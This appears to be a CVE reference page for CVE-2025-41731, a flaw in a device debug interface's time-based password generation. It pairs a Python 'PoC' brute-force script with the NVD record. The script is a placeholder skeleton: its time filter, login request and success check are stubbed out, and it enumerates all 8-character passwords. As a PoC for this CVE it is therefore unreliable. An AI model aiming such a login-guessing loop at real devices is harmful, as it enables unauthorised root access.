CVE-2025-41731

# CVE-2025-41731 PoC - Debug Interface Password Brute Force # Requirements: Python 3.x, requests library import itertools import string import time from datetime import datetime def generate_candidate_passwords(charset, length, time_window): """ Generate candidate passwords based on known time window Modify this function based on target device's password algorithm """ passwords = [] # This is a simplified example - actual algorithm depends on device for candidate in itertools.product(charset, repeat=length): password = ''.join(candidate) # Simulate time-based password generation if is_within_time_window(password, time_window): passwords.append(password) return passwords def is_within_time_window(password, time_window): """ Check if password could be generated within the given time window Actual implementation depends on target device's algorithm """ # Placeholder - implement based on specific device algorithm analysis return True def attempt_debug_login(target_ip, username, password): """ Attempt login to debug interface Returns True if successful, False otherwise """ # Example HTTP request to debug interface # Modify endpoint and authentication method based on target payload = { 'username': username, 'password': password } try: # requests.post(f'http://{target_ip}:debug_port/login', data=payload) print(f"[*] Attempting password: {password}") # Add actual authentication logic here return False # Placeholder except Exception as e: print(f"[!] Error: {e}") return False def brute_force_attack(target_ip, time_window_start, time_window_end): """ Main brute force attack function """ print(f"[*] Starting brute force attack on {target_ip}") print(f"[*] Time window: {time_window_start} to {time_window_end}") charset = string.ascii_letters + string.digits max_length = 8 # Adjust based on device password policy # Generate passwords within time window candidates = generate_candidate_passwords(charset, max_length, (time_window_start, time_window_end)) print(f"[*] Generated {len(candidates)} candidate passwords") for password in candidates: if attempt_debug_login(target_ip, 'debug', password): print(f"[!] SUCCESS! Password found: {password}") return password time.sleep(0.1) # Rate limiting (if applicable) print("[*] Attack completed - password not found") return None # Usage example # target = "192.168.1.100" # start_time = datetime(2025, 1, 1, 0, 0, 0) # end_time = datetime(2025, 1, 1, 12, 0, 0) # brute_force_attack(target, start_time, end_time)

{"cve": {"id": "CVE-2025-41731", "sourceIdentifier": "[email protected]", "published": "2025-11-10T08:15:33.957", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in the password generation algorithm when accessing the debug-interface. An unauthenticated local attacker with knowledge of the password generation timeframe might be able to brute force the password in a timely manner and thus gain root access to the device if the debug interface is still enabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}]}], "references": [{"url": "https://jumo.csaf-tp.certvde.com/.well-known/csaf/white/2025/vde-2025-086.json", "source": "[email protected]"}]}}